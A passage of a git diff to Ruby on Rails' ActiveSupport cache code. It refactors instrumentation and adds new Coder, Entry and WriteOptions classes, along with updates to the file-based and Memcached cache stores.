-          ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload) { yield(payload) }
+        def instrument_multi(operation, keys, options = nil, &block)
+          _instrument(operation, multi: true, key: keys, options: options, &block)
         end
 
-        def log
-          return unless logger && logger.debug? && !silence?
-          logger.debug(yield)
+        def _instrument(operation, multi: false, options: nil, **payload, &block)
+          if logger && logger.debug? && !silence?
+            debug_key =
+              if multi
+                ": #{payload[:key].size} key(s) specified"
+              elsif payload[:key]
+                ": #{payload[:key]}"
+              end
+
+            debug_options = " (#{options.inspect})" unless options.blank?
+
+            logger.debug "Cache #{operation}#{debug_key}#{debug_options}"
+          end
+
+          payload[:store] = self.class.name
+          payload.merge!(options) if options.is_a?(Hash)
+          ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload) do
+            block&.call(payload)
+          end
         end
 
         def handle_expired_entry(entry, key, options)
@@ -566,10 +1098,10 @@ def handle_expired_entry(entry, key, options)
             if (race_ttl > 0) && (Time.now.to_f - entry.expires_at <= race_ttl)
               # When an entry has a positive :race_condition_ttl defined, put the stale entry back into the cache
               # for a brief period while the entry is being recalculated.
-              entry.expires_at = Time.now + race_ttl
-              write_entry(key, entry, expires_in: race_ttl * 2)
+              entry.expires_at = Time.now.to_f + race_ttl
+              write_entry(key, entry, **options, expires_in: race_ttl * 2)
             else
-              delete_entry(key, options)
+              delete_entry(key, **options)
             end
             entry = nil
           end
@@ -577,118 +1109,62 @@ def handle_expired_entry(entry, key, options)
         end
 
         def get_entry_value(entry, name, options)
-          instrument(:fetch_hit, name, options) {}
+          instrument(:fetch_hit, name, options)
           entry.value
         end
 
-        def save_block_result_to_cache(name, options)
-          result = instrument(:generate, name, options) do
-            yield(name)
+        def save_block_result_to_cache(name, key, options)
+          options = options.dup
+
+          result = instrument(:generate, key, options) do
+            yield(name, WriteOptions.new(options))
           end
 
-          write(name, result, options)
+          write(name, result, options) unless result.nil? && options[:skip_nil]
           result
         end
     end
 
-    # This class is used to represent cache entries. Cache entries have a value and an optional
-    # expiration time. The expiration time is used to support the :race_condition_ttl option
-    # on the cache.
-    #
-    # Since cache entries in most instances will be serialized, the internals of this class are highly optimized
-    # using short instance variable names that are lazily defined.
-    class Entry # :nodoc:
-      DEFAULT_COMPRESS_LIMIT = 16.kilobytes
-
-      # Creates a new cache entry for the specified value. Options supported are
-      # +:compress+, +:compress_threshold+, and +:expires_in+.
-      def initialize(value, options = {})
-        if should_compress?(value, options)
-          @value = compress(value)
-          @compressed = true
-        else
-          @value = value
-        end
-
-        @created_at = Time.now.to_f
-        @expires_in = options[:expires_in]
-        @expires_in = @expires_in.to_f if @expires_in
+    # Enables the dynamic configuration of Cache entry options while ensuring
+    # that conflicting options are not both set. When a block is given to
+    # ActiveSupport::Cache::Store#fetch, the second argument will be an
+    # instance of +WriteOptions+.
+    class WriteOptions
+      def initialize(options) # :nodoc:
+        @options = options
       end
 
-      def value
-        compressed? ? uncompress(@value) : @value
+      def version
+        @options[:version]
       end
 
-      # Checks if the entry is expired. The +expires_in+ parameter can override
-      # the value set when the entry was created.
-      def expired?
-        @expires_in && @created_at + @expires_in <= Time.now.to_f
+      def version=(version)
+        @options[:version] = version
       end
 
-      def expires_at
-        @expires_in ? @created_at + @expires_in : nil
+      def expires_in
+        @options[:expires_in]
       end
 
-      def expires_at=(value)
-        if value
-          @expires_in = value.to_f - @created_at
-        else
-          @expires_in = nil
-        end
+      # Sets the Cache entry's +expires_in+ value. If an +expires_at+ option was
+      # previously set, this will unset it since +expires_in+ and +expires_at+
+      # cannot both be set.
+      def expires_in=(expires_in)
+        @options.delete(:expires_at)
+        @options[:expires_in] = expires_in
       end
 
-      # Returns the size of the cached value. This could be less than
-      # <tt>value.size</tt> if the data is compressed.
-      def size
-        if defined?(@s)
-          @s
-        else
-          case value
-          when NilClass
-            0
-          when String
-            @value.bytesize
-          else
-            @s = Marshal.dump(@value).bytesize
-          end
-        end
+      def expires_at
+        @options[:expires_at]
       end
 
-      # Duplicates the value in a class. This is used by cache implementations that don't natively
-      # serialize entries to protect against accidental cache modifications.
-      def dup_value!
-        if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false)
-          if @value.is_a?(String)
-            @value = @value.dup
-          else
-            @value = Marshal.load(Marshal.dump(@value))
-          end
-        end
+      # Sets the Cache entry's +expires_at+ value. If an +expires_in+ option was
+      # previously set, this will unset it since +expires_at+ and +expires_in+
+      # cannot both be set.
+      def expires_at=(expires_at)
+        @options.delete(:expires_in)
+        @options[:expires_at] = expires_at
       end
-
-      private
-        def should_compress?(value, options)
-          if value && options[:compress]
-            compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
-            serialized_value_size = (value.is_a?(String) ? value : Marshal.dump(value)).bytesize
-
-            return true if serialized_value_size >= compress_threshold
-          end
-
-          false
-        end
-
-        def compressed?
-          defined?(@compressed) ? @compressed : false
-        end
-
-        def compress(value)
-          Zlib::Deflate.deflate(Marshal.dump(value))
-        end
-
-        def uncompress(value)
-          Marshal.load(Zlib::Inflate.inflate(value))
-        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/cache/coder.rb b/activesupport/lib/active_support/cache/coder.rb
new file mode 100644
index 0000000000000..b21d07dc6d5e2
--- /dev/null
+++ b/activesupport/lib/active_support/cache/coder.rb
@@ -0,0 +1,153 @@
+# frozen_string_literal: true
+
+require_relative "entry"
+
+module ActiveSupport
+  module Cache
+    class Coder # :nodoc:
+      def initialize(serializer, compressor, legacy_serializer: false)
+        @serializer = serializer
+        @compressor = compressor
+        @legacy_serializer = legacy_serializer
+      end
+
+      def dump(entry)
+        return @serializer.dump(entry) if @legacy_serializer
+
+        dump_compressed(entry, Float::INFINITY)
+      end
+
+      def dump_compressed(entry, threshold)
+        return @serializer.dump_compressed(entry, threshold) if @legacy_serializer
+
+        # If value is a string with a supported encoding, use it as the payload
+        # instead of passing it through the serializer.
+        if type = type_for_string(entry.value)
+          payload = entry.value.b
+        else
+          type = OBJECT_DUMP_TYPE
+          payload = @serializer.dump(entry.value)
+        end
+
+        if compressed = try_compress(payload, threshold)
+          payload = compressed
+          type = type | COMPRESSED_FLAG
+        end
+
+        expires_at = entry.expires_at || -1.0
+
+        version = dump_version(entry.version) if entry.version
+        version_length = version&.bytesize || -1
+
+        packed = SIGNATURE.b
+        packed << [type, expires_at, version_length].pack(PACKED_TEMPLATE)
+        packed << version if version
+        packed << payload
+      end
+
+      def load(dumped)
+        return @serializer.load(dumped) if !signature?(dumped)
+
+        type = dumped.unpack1(PACKED_TYPE_TEMPLATE)
+        expires_at = dumped.unpack1(PACKED_EXPIRES_AT_TEMPLATE)
+        version_length = dumped.unpack1(PACKED_VERSION_LENGTH_TEMPLATE)
+
+        expires_at = nil if expires_at < 0
+        version = load_version(dumped.byteslice(PACKED_VERSION_INDEX, version_length)) if version_length >= 0
+        payload = dumped.byteslice((PACKED_VERSION_INDEX + [version_length, 0].max)..)
+
+        compressor = @compressor if type & COMPRESSED_FLAG > 0
+        serializer = STRING_DESERIALIZERS[type & ~COMPRESSED_FLAG] || @serializer
+
+        LazyEntry.new(serializer, compressor, payload, version: version, expires_at: expires_at)
+      end
+
+      private
+        SIGNATURE = "\x00\x11".b.freeze
+
+        OBJECT_DUMP_TYPE = 0x01
+
+        STRING_ENCODINGS = {
+          0x02 => Encoding::UTF_8,
+          0x03 => Encoding::BINARY,
+          0x04 => Encoding::US_ASCII,
+        }
+
+        COMPRESSED_FLAG = 0x80
+
+        PACKED_TEMPLATE = "CEl<"
+        PACKED_TYPE_TEMPLATE = "@#{SIGNATURE.bytesize}C"
+        PACKED_EXPIRES_AT_TEMPLATE = "@#{[0].pack(PACKED_TYPE_TEMPLATE).bytesize}E"
+        PACKED_VERSION_LENGTH_TEMPLATE = "@#{[0].pack(PACKED_EXPIRES_AT_TEMPLATE).bytesize}l<"
+        PACKED_VERSION_INDEX = [0].pack(PACKED_VERSION_LENGTH_TEMPLATE).bytesize
+
+        MARSHAL_SIGNATURE = "\x04\x08".b.freeze
+
+        class StringDeserializer
+          def initialize(encoding)
+            @encoding = encoding
+          end
+
+          def load(payload)
+            payload.force_encoding(@encoding)
+          end
+        end
+
+        STRING_DESERIALIZERS = STRING_ENCODINGS.transform_values { |encoding| StringDeserializer.new(encoding) }
+
+        class LazyEntry < Cache::Entry
+          def initialize(serializer, compressor, payload, **options)
+            super(payload, **options)
+            @serializer = serializer
+            @compressor = compressor
+            @resolved = false
+          end
+
+          def value
+            if !@resolved
+              @value = @serializer.load(@compressor ? @compressor.inflate(@value) : @value)
+              @resolved = true
+            end
+            @value
+          end
+
+          def mismatched?(version)
+            super.tap { |mismatched| value if !mismatched }
+          rescue Cache::DeserializationError
+            true
+          end
+        end
+
+        def signature?(dumped)
+          dumped.is_a?(String) && dumped.start_with?(SIGNATURE)
+        end
+
+        def type_for_string(value)
+          STRING_ENCODINGS.key(value.encoding) if value.instance_of?(String)
+        end
+
+        def try_compress(string, threshold)
+          if @compressor && string.bytesize >= threshold
+            compressed = @compressor.deflate(string)
+            compressed if compressed.bytesize < string.bytesize
+          end
+        end
+
+        def dump_version(version)
+          if version.encoding != Encoding::UTF_8 || version.start_with?(MARSHAL_SIGNATURE)
+            Marshal.dump(version)
+          else
+            version.b
+          end
+        end
+
+        def load_version(dumped_version)
+          if dumped_version.start_with?(MARSHAL_SIGNATURE)
+            Marshal.load(dumped_version)
+          else
+            dumped_version.force_encoding(Encoding::UTF_8)
+          end
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/entry.rb b/activesupport/lib/active_support/cache/entry.rb
new file mode 100644
index 0000000000000..99318d821b248
--- /dev/null
+++ b/activesupport/lib/active_support/cache/entry.rb
@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+require "zlib"
+
+module ActiveSupport
+  module Cache
+    # This class is used to represent cache entries. Cache entries have a value, an optional
+    # expiration time, and an optional version. The expiration time is used to support the :race_condition_ttl option
+    # on the cache. The version is used to support the :version option on the cache for rejecting
+    # mismatches.
+    #
+    # Since cache entries in most instances will be serialized, the internals of this class are highly optimized
+    # using short instance variable names that are lazily defined.
+    class Entry # :nodoc:
+      class << self
+        def unpack(members)
+          new(members[0], expires_at: members[1], version: members[2])
+        end
+      end
+
+      attr_reader :version
+
+      # Creates a new cache entry for the specified value. Options supported are
+      # +:compressed+, +:version+, +:expires_at+ and +:expires_in+.
+      def initialize(value, compressed: false, version: nil, expires_in: nil, expires_at: nil, **)
+        @value      = value
+        @version    = version
+        @created_at = 0.0
+        @expires_in = expires_at&.to_f || expires_in && (expires_in.to_f + Time.now.to_f)
+        @compressed = true if compressed
+      end
+
+      def value
+        compressed? ? uncompress(@value) : @value
+      end
+
+      def mismatched?(version)
+        @version && version && @version != version
+      end
+
+      # Checks if the entry is expired. The +expires_in+ parameter can override
+      # the value set when the entry was created.
+      def expired?
+        @expires_in && @created_at + @expires_in <= Time.now.to_f
+      end
+
+      def expires_at
+        @expires_in ? @created_at + @expires_in : nil
+      end
+
+      def expires_at=(value)
+        if value
+          @expires_in = value.to_f - @created_at
+        else
+          @expires_in = nil
+        end
+      end
+
+      # Returns the size of the cached value. This could be less than
+      # <tt>value.bytesize</tt> if the data is compressed.
+      def bytesize
+        case value
+        when NilClass
+          0
+        when String
+          @value.bytesize
+        else
+          @s ||= Marshal.dump(@value).bytesize
+        end
+      end
+
+      def compressed? # :nodoc:
+        defined?(@compressed)
+      end
+
+      def compressed(compress_threshold)
+        return self if compressed?
+
+        case @value
+        when nil, true, false, Numeric
+          uncompressed_size = 0
+        when String
+          uncompressed_size = @value.bytesize
+        else
+          serialized = Marshal.dump(@value)
+          uncompressed_size = serialized.bytesize
+        end
+
+        if uncompressed_size >= compress_threshold
+          serialized ||= Marshal.dump(@value)
+          compressed = Zlib::Deflate.deflate(serialized)
+
+          if compressed.bytesize < uncompressed_size
+            return Entry.new(compressed, compressed: true, expires_at: expires_at, version: version)
+          end
+        end
+        self
+      end
+
+      def local?
+        false
+      end
+
+      # Duplicates the value in a class. This is used by cache implementations that don't natively
+      # serialize entries to protect against accidental cache modifications.
+      def dup_value!
+        if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false)
+          if @value.is_a?(String)
+            @value = @value.dup
+          else
+            @value = Marshal.load(Marshal.dump(@value))
+          end
+        end
+      end
+
+      def pack
+        members = [value, expires_at, version]
+        members.pop while !members.empty? && members.last.nil?
+        members
+      end
+
+      private
+        def uncompress(value)
+          marshal_load(Zlib::Inflate.inflate(value))
+        end
+
+        def marshal_load(payload)
+          Marshal.load(payload)
+        rescue ArgumentError => error
+          raise Cache::DeserializationError, error.message
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
index d5c858581656e..4c4e737e5069f 100644
--- a/activesupport/lib/active_support/cache/file_store.rb
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -1,100 +1,146 @@
-require "active_support/core_ext/marshal"
+# frozen_string_literal: true
+
 require "active_support/core_ext/file/atomic"
 require "active_support/core_ext/string/conversions"
 require "uri/common"
 
 module ActiveSupport
   module Cache
-    # A cache store implementation which stores everything on the filesystem.
+    # = \File \Cache \Store
     #
-    # FileStore implements the Strategy::LocalCache strategy which implements
-    # an in-memory cache inside of a block.
+    # A cache store implementation which stores everything on the filesystem.
     class FileStore < Store
-      prepend Strategy::LocalCache
       attr_reader :cache_path
 
       DIR_FORMATTER = "%03X"
-      FILENAME_MAX_SIZE = 228 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write)
+      FILENAME_MAX_SIZE = 226 # max filename size on file system is 255, minus room for timestamp, pid, and random characters appended by Tempfile (used by atomic write)
       FILEPATH_MAX_SIZE = 900 # max is 1024, plus some room
-      EXCLUDED_DIRS = [".", ".."].freeze
       GITKEEP_FILES = [".gitkeep", ".keep"].freeze
 
-      def initialize(cache_path, options = nil)
+      def initialize(cache_path, **options)
         super(options)
         @cache_path = cache_path.to_s
       end
 
+      # Advertise cache versioning support.
+      def self.supports_cache_versioning?
+        true
+      end
+
       # Deletes all items from the cache. In this case it deletes all the entries in the specified
       # file store directory except for .keep or .gitkeep. Be careful which directory is specified in your
       # config file when using +FileStore+ because everything in that directory will be deleted.
-      def clear
-        root_dirs = exclude_from(cache_path, EXCLUDED_DIRS + GITKEEP_FILES)
+      def clear(options = nil)
+        root_dirs = (Dir.children(cache_path) - GITKEEP_FILES)
         FileUtils.rm_r(root_dirs.collect { |f| File.join(cache_path, f) })
-      rescue Errno::ENOENT
+      rescue Errno::ENOENT, Errno::ENOTEMPTY
       end
 
       # Preemptively iterates through all stored keys and removes the ones which have expired.
       def cleanup(options = nil)
         options = merged_options(options)
         search_dir(cache_path) do |fname|
-          key = file_path_key(fname)
-          entry = read_entry(key, options)
-          delete_entry(key, options) if entry && entry.expired?
+          entry = read_entry(fname, **options)
+          delete_entry(fname, **options) if entry && entry.expired?
         end
       end
 
-      # Increments an already existing integer value that is stored in the cache.
-      # If the key is not found nothing is done.
-      def increment(name, amount = 1, options = nil)
-        modify_value(name, amount, options)
+      # Increment a cached integer value. Returns the updated value.
+      #
+      # If the key is unset, it starts from +0+:
+      #
+      #   cache.increment("foo") # => 1
+      #   cache.increment("bar", 100) # => 100
+      #
+      # To set a specific value, call #write:
+      #
+      #   cache.write("baz", 5)
+      #   cache.increment("baz") # => 6
+      #
+      def increment(name, amount = 1, **options)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument(:increment, key, amount: amount) do
+          modify_value(name, amount, options)
+        end
       end
 
-      # Decrements an already existing integer value that is stored in the cache.
-      # If the key is not found nothing is done.
-      def decrement(name, amount = 1, options = nil)
-        modify_value(name, -amount, options)
+      # Decrement a cached integer value. Returns the updated value.
+      #
+      # If the key is unset, it will be set to +-amount+.
+      #
+      #   cache.decrement("foo") # => -1
+      #
+      # To set a specific value, call #write:
+      #
+      #   cache.write("baz", 5)
+      #   cache.decrement("baz") # => 4
+      #
+      def decrement(name, amount = 1, **options)
+        options = merged_options(options)
+        key = normalize_key(name, options)
+
+        instrument(:decrement, key, amount: amount) do
+          modify_value(name, -amount, options)
+        end
       end
 
       def delete_matched(matcher, options = nil)
         options = merged_options(options)
+        matcher = key_matcher(matcher, options)
+
         instrument(:delete_matched, matcher.inspect) do
-          matcher = key_matcher(matcher, options)
           search_dir(cache_path) do |path|
             key = file_path_key(path)
-            delete_entry(path, options) if key.match(matcher)
+            delete_entry(path, **options) if key.match(matcher)
           end
         end
       end
 
-      private
+      def inspect # :nodoc:
+        "#<#{self.class.name} cache_path=#{@cache_path}, options=#{@options.inspect}>"
+      end
 
-        def read_entry(key, options)
-          if File.exist?(key)
-            File.open(key) { |f| Marshal.load(f) }
+      private
+        def read_entry(key, **options)
+          if payload = read_serialized_entry(key, **options)
+            entry = deserialize_entry(payload)
+            entry if entry.is_a?(Cache::Entry)
           end
-        rescue => e
-          logger.error("FileStoreError (#{e}): #{e.message}") if logger
+        end
+
+        def read_serialized_entry(key, **)
+          File.binread(key) if File.exist?(key)
+        rescue => error
+          logger.error("FileStoreError (#{error}): #{error.message}") if logger
           nil
         end
 
-        def write_entry(key, entry, options)
+        def write_entry(key, entry, **options)
+          write_serialized_entry(key, serialize_entry(entry, **options), **options)
+        end
+
+        def write_serialized_entry(key, payload, **options)
           return false if options[:unless_exist] && File.exist?(key)
           ensure_cache_path(File.dirname(key))
-          File.atomic_write(key, cache_path) { |f| Marshal.dump(entry, f) }
+          File.atomic_write(key, cache_path) { |f| f.write(payload) }
           true
         end
 
-        def delete_entry(key, options)
+        def delete_entry(key, **options)
           if File.exist?(key)
             begin
               File.delete(key)
               delete_empty_directories(File.dirname(key))
               true
-            rescue => e
+            rescue
               # Just in case the error was caused by another process deleting the file first.
-              raise e if File.exist?(key)
+              raise if File.exist?(key)
               false
             end
+          else
+            false
           end
         end
 
@@ -102,12 +148,10 @@ def delete_entry(key, options)
         def lock_file(file_name, &block)
           if File.exist?(file_name)
             File.open(file_name, "r+") do |f|
-              begin
-                f.flock File::LOCK_EX
-                yield
-              ensure
-                f.flock File::LOCK_UN
-              end
+              f.flock File::LOCK_EX
+              yield
+            ensure
+              f.flock File::LOCK_UN
             end
           else
             yield
@@ -120,33 +164,37 @@ def normalize_key(key, options)
           fname = URI.encode_www_form_component(key)
 
           if fname.size > FILEPATH_MAX_SIZE
-            fname = Digest::MD5.hexdigest(key)
+            fname = ActiveSupport::Digest.hexdigest(key)
           end
 
           hash = Zlib.adler32(fname)
           hash, dir_1 = hash.divmod(0x1000)
           dir_2 = hash.modulo(0x1000)
-          fname_paths = []
 
           # Make sure file name doesn't exceed file system limits.
-          begin
-            fname_paths << fname[0, FILENAME_MAX_SIZE]
-            fname = fname[FILENAME_MAX_SIZE..-1]
-          end until fname.blank?
+          if fname.length < FILENAME_MAX_SIZE
+            fname_paths = fname
+          else
+            fname_paths = []
+            begin
+              fname_paths << fname[0, FILENAME_MAX_SIZE]
+              fname = fname[FILENAME_MAX_SIZE..-1]
+            end until fname.blank?
+          end
 
-          File.join(cache_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, *fname_paths)
+          File.join(cache_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, fname_paths)
         end
 
         # Translate a file path into a key.
         def file_path_key(path)
-          fname = path[cache_path.to_s.size..-1].split(File::SEPARATOR, 4).last
+          fname = path[cache_path.to_s.size..-1].split(File::SEPARATOR, 4).last.delete(File::SEPARATOR)
           URI.decode_www_form_component(fname, Encoding::UTF_8)
         end
 
         # Delete empty directories in the cache.
         def delete_empty_directories(dir)
           return if File.realpath(dir) == File.realpath(cache_path)
-          if exclude_from(dir, EXCLUDED_DIRS).empty?
+          if Dir.children(dir).empty?
             Dir.delete(dir) rescue nil
             delete_empty_directories(File.dirname(dir))
           end
@@ -159,8 +207,7 @@ def ensure_cache_path(path)
 
         def search_dir(dir, &callback)
           return if !File.exist?(dir)
-          Dir.foreach(dir) do |d|
-            next if EXCLUDED_DIRS.include?(d)
+          Dir.each_child(dir) do |d|
             name = File.join(dir, d)
             if File.directory?(name)
               search_dir(name, &callback)
@@ -170,26 +217,28 @@ def search_dir(dir, &callback)
           end
         end
 
-        # Modifies the amount of an already existing integer value that is stored in the cache.
-        # If the key is not found nothing is done.
+        # Modifies the amount of an integer value that is stored in the cache.
+        # If the key is not found it is created and set to +amount+.
         def modify_value(name, amount, options)
-          file_name = normalize_key(name, options)
+          options = merged_options(options)
+          key = normalize_key(name, options)
+          version = normalize_version(name, options)
+          amount = Integer(amount)
 
-          lock_file(file_name) do
-            options = merged_options(options)
+          lock_file(key) do
+            entry = read_entry(key, **options)
 
-            if num = read(name, options)
-              num = num.to_i + amount
-              write(name, num, options)
+            if !entry || entry.expired? || entry.mismatched?(version)
+              write(name, amount, options)
+              amount
+            else
+              num = entry.value.to_i + amount
+              entry = Entry.new(num, expires_at: entry.expires_at, version: entry.version)
+              write_entry(key, entry)
               num
             end
           end
         end
-
-        # Exclude entries from source directory
-        def exclude_from(source, excludes)
-          Dir.entries(source).reject { |f| excludes.include?(f) }
-        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index e09cee3335de3..eb4a6bbdc169c 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -1,133 +1,174 @@
+# frozen_string_literal: true
+
 begin
   require "dalli"
 rescue LoadError => e
-  $stderr.puts "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
+  warn "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
   raise e
 end
 
-require "digest/md5"
-require "active_support/core_ext/marshal"
+require "connection_pool"
+require "delegate"
+require "active_support/core_ext/enumerable"
 require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/numeric/time"
 
 module ActiveSupport
   module Cache
+    # = Memcached \Cache \Store
+    #
     # A cache store implementation which stores data in Memcached:
-    # http://memcached.org/
+    # https://memcached.org
     #
     # This is currently the most popular cache store for production websites.
     #
     # Special features:
     # - Clustering and load balancing. One can specify multiple memcached servers,
-    #   and MemCacheStore will load balance between all available servers. If a
-    #   server goes down, then MemCacheStore will ignore it until it comes back up.
+    #   and +MemCacheStore+ will load balance between all available servers. If a
+    #   server goes down, then +MemCacheStore+ will ignore it until it comes back up.
     #
-    # MemCacheStore implements the Strategy::LocalCache strategy which implements
-    # an in-memory cache inside of a block.
+    # +MemCacheStore+ implements the Strategy::LocalCache strategy which
+    # implements an in-memory cache inside of a block.
     class MemCacheStore < Store
-      # Provide support for raw values in the local cache strategy.
-      module LocalCacheWithRaw # :nodoc:
-        private
-          def read_entry(key, options)
-            entry = super
-            if options[:raw] && local_cache && entry
-              entry = deserialize_entry(entry.value)
-            end
-            entry
-          end
+      # These options represent behavior overridden by this implementation and should
+      # not be allowed to get down to the Dalli client
+      OVERRIDDEN_OPTIONS = UNIVERSAL_OPTIONS
 
-          def write_entry(key, entry, options)
-            if options[:raw] && local_cache
-              raw_entry = Entry.new(entry.value.to_s)
-              raw_entry.expires_at = entry.expires_at
-              super(key, raw_entry, options)
-            else
-              super
-            end
-          end
+      # Advertise cache versioning support.
+      def self.supports_cache_versioning?
+        true
       end
 
       prepend Strategy::LocalCache
-      prepend LocalCacheWithRaw
 
       ESCAPE_KEY_CHARS = /[\x00-\x20%\x7F-\xFF]/n
 
       # Creates a new Dalli::Client instance with specified addresses and options.
-      # By default address is equal localhost:11211.
+      # If no addresses are provided, we give nil to Dalli::Client, so it uses its fallbacks:
+      # - ENV["MEMCACHE_SERVERS"] (if defined)
+      # - "127.0.0.1:11211"        (otherwise)
       #
       #   ActiveSupport::Cache::MemCacheStore.build_mem_cache
-      #     # => #<Dalli::Client:0x007f98a47d2028 @servers=["localhost:11211"], @options={}, @ring=nil>
+      #     # => #<Dalli::Client:0x007f98a47d2028 @servers=["127.0.0.1:11211"], @options={}, @ring=nil>
       #   ActiveSupport::Cache::MemCacheStore.build_mem_cache('localhost:10290')
       #     # => #<Dalli::Client:0x007f98a47b3a60 @servers=["localhost:10290"], @options={}, @ring=nil>
       def self.build_mem_cache(*addresses) # :nodoc:
         addresses = addresses.flatten
         options = addresses.extract_options!
-        addresses = ["localhost:11211"] if addresses.empty?
-        Dalli::Client.new(addresses, options)
+        addresses = nil if addresses.compact.empty?
+        pool_options = retrieve_pool_options(options)
+
+        if pool_options
+          ConnectionPool.new(**pool_options) { Dalli::Client.new(addresses, options.merge(threadsafe: false)) }
+        else
+          Dalli::Client.new(addresses, options)
+        end
       end
 
-      # Creates a new MemCacheStore object, with the given memcached server
+      # Creates a new +MemCacheStore+ object, with the given memcached server
       # addresses. Each address is either a host name, or a host-with-port string
       # in the form of "host_name:port". For example:
       #
       #   ActiveSupport::Cache::MemCacheStore.new("localhost", "server-downstairs.localnetwork:8229")
       #
-      # If no addresses are specified, then MemCacheStore will connect to
-      # localhost port 11211 (the default memcached port).
+      # If no addresses are provided, but <tt>ENV['MEMCACHE_SERVERS']</tt> is defined, it will be used instead. Otherwise,
+      # +MemCacheStore+ will connect to localhost:11211 (the default memcached port).
       def initialize(*addresses)
         addresses = addresses.flatten
         options = addresses.extract_options!
+        if options.key?(:cache_nils)
+          options[:skip_nil] = !options.delete(:cache_nils)
+        end
+        options[:max_key_size] ||= MAX_KEY_SIZE
         super(options)
 
         unless [String, Dalli::Client, NilClass].include?(addresses.first.class)
-          raise ArgumentError, "First argument must be an empty array, an array of hosts or a Dalli::Client instance."
+          raise ArgumentError, "First argument must be an empty array, address, or array of addresses."
         end
-        if addresses.first.is_a?(Dalli::Client)
-          @data = addresses.first
-        else
-          mem_cache_options = options.dup
-          UNIVERSAL_OPTIONS.each { |name| mem_cache_options.delete(name) }
-          @data = self.class.build_mem_cache(*(addresses + [mem_cache_options]))
-        end
-      end
 
-      # Reads multiple values from the cache using a single call to the
-      # servers for all keys. Options can be passed in the last argument.
-      def read_multi(*names)
-        options = names.extract_options!
-        options = merged_options(options)
+        @mem_cache_options = options.dup
+        # The value "compress: false" prevents duplicate compression within Dalli.
+        @mem_cache_options[:compress] = false
+        (OVERRIDDEN_OPTIONS - %i(compress)).each { |name| @mem_cache_options.delete(name) }
+        @data = self.class.build_mem_cache(*(addresses + [@mem_cache_options]))
+      end
 
-        keys_to_names = Hash[names.map { |name| [normalize_key(name, options), name] }]
-        raw_values = @data.get_multi(keys_to_names.keys)
-        values = {}
-        raw_values.each do |key, value|
-          entry = deserialize_entry(value)
-          values[keys_to_names[key]] = entry.value unless entry.expired?
-        end
-        values
+      def inspect
+        instance = @data || @mem_cache_options
+        "#<#{self.class} options=#{options.inspect} mem_cache=#{instance.inspect}>"
       end
 
-      # Increment a cached value. This method uses the memcached incr atomic
-      # operator and can only be used on values written with the :raw option.
-      # Calling it on a value not stored with :raw will initialize that value
-      # to zero.
+      ##
+      # :method: write
+      # :call-seq: write(name, value, options = nil)
+      #
+      # Behaves the same as ActiveSupport::Cache::Store#write, but supports
+      # additional options specific to memcached.
+      #
+      # ==== Additional Options
+      #
+      # * <tt>raw: true</tt> - Sends the value directly to the server as raw
+      #   bytes. The value must be a string or number. You can use memcached
+      #   direct operations like +increment+ and +decrement+ only on raw values.
+
+      # Increment a cached integer value using the memcached incr atomic operator.
+      # Returns the updated value.
+      #
+      # If the key is unset or has expired, it will be set to +amount+:
+      #
+      #   cache.increment("foo") # => 1
+      #   cache.increment("bar", 100) # => 100
+      #
+      # To set a specific value, call #write passing <tt>raw: true</tt>:
+      #
+      #   cache.write("baz", 5, raw: true)
+      #   cache.increment("baz") # => 6
+      #
+      # Incrementing a non-numeric value, or a value written without
+      # <tt>raw: true</tt>, will fail and return +nil+.
+      #
+      # To read the value later, call #read_counter:
+      #
+      #   cache.increment("baz") # => 7
+      #   cache.read_counter("baz") # 7
       def increment(name, amount = 1, options = nil)
         options = merged_options(options)
-        instrument(:increment, name, amount: amount) do
+        key = normalize_key(name, options)
+
+        instrument(:increment, key, amount: amount) do
           rescue_error_with nil do
-            @data.incr(normalize_key(name, options), amount)
+            @data.with { |c| c.incr(key, amount, options[:expires_in], amount) }
           end
         end
       end
 
-      # Decrement a cached value. This method uses the memcached decr atomic
-      # operator and can only be used on values written with the :raw option.
-      # Calling it on a value not stored with :raw will initialize that value
-      # to zero.
+      # Decrement a cached integer value using the memcached decr atomic operator.
+      # Returns the updated value.
+      #
+      # If the key is unset or has expired, it will be set to 0. Memcached
+      # does not support negative counters.
+      #
+      #   cache.decrement("foo") # => 0
+      #
+      # To set a specific value, call #write passing <tt>raw: true</tt>:
+      #
+      #   cache.write("baz", 5, raw: true)
+      #   cache.decrement("baz") # => 4
+      #
+      # Decrementing a non-numeric value, or a value written without
+      # <tt>raw: true</tt>, will fail and return +nil+.
+      #
+      # To read the value later, call #read_counter:
+      #
+      #   cache.decrement("baz") # => 3
+      #   cache.read_counter("baz") # 3
       def decrement(name, amount = 1, options = nil)
         options = merged_options(options)
-        instrument(:decrement, name, amount: amount) do
+        key = normalize_key(name, options)
+
+        instrument(:decrement, key, amount: amount) do
           rescue_error_with nil do
-            @data.decr(normalize_key(name, options), amount)
+            @data.with { |c| c.decr(key, amount, options[:expires_in], 0) }
           end
         end
       end
@@ -135,61 +176,111 @@ def decrement(name, amount = 1, options = nil)
       # Clear the entire cache on all memcached servers. This method should
       # be used with care when shared cache is being used.
       def clear(options = nil)
-        rescue_error_with(nil) { @data.flush_all }
+        rescue_error_with(nil) { @data.with { |c| c.flush_all } }
       end
 
       # Get the statistics from the memcached servers.
       def stats
-        @data.stats
+        @data.with { |c| c.stats }
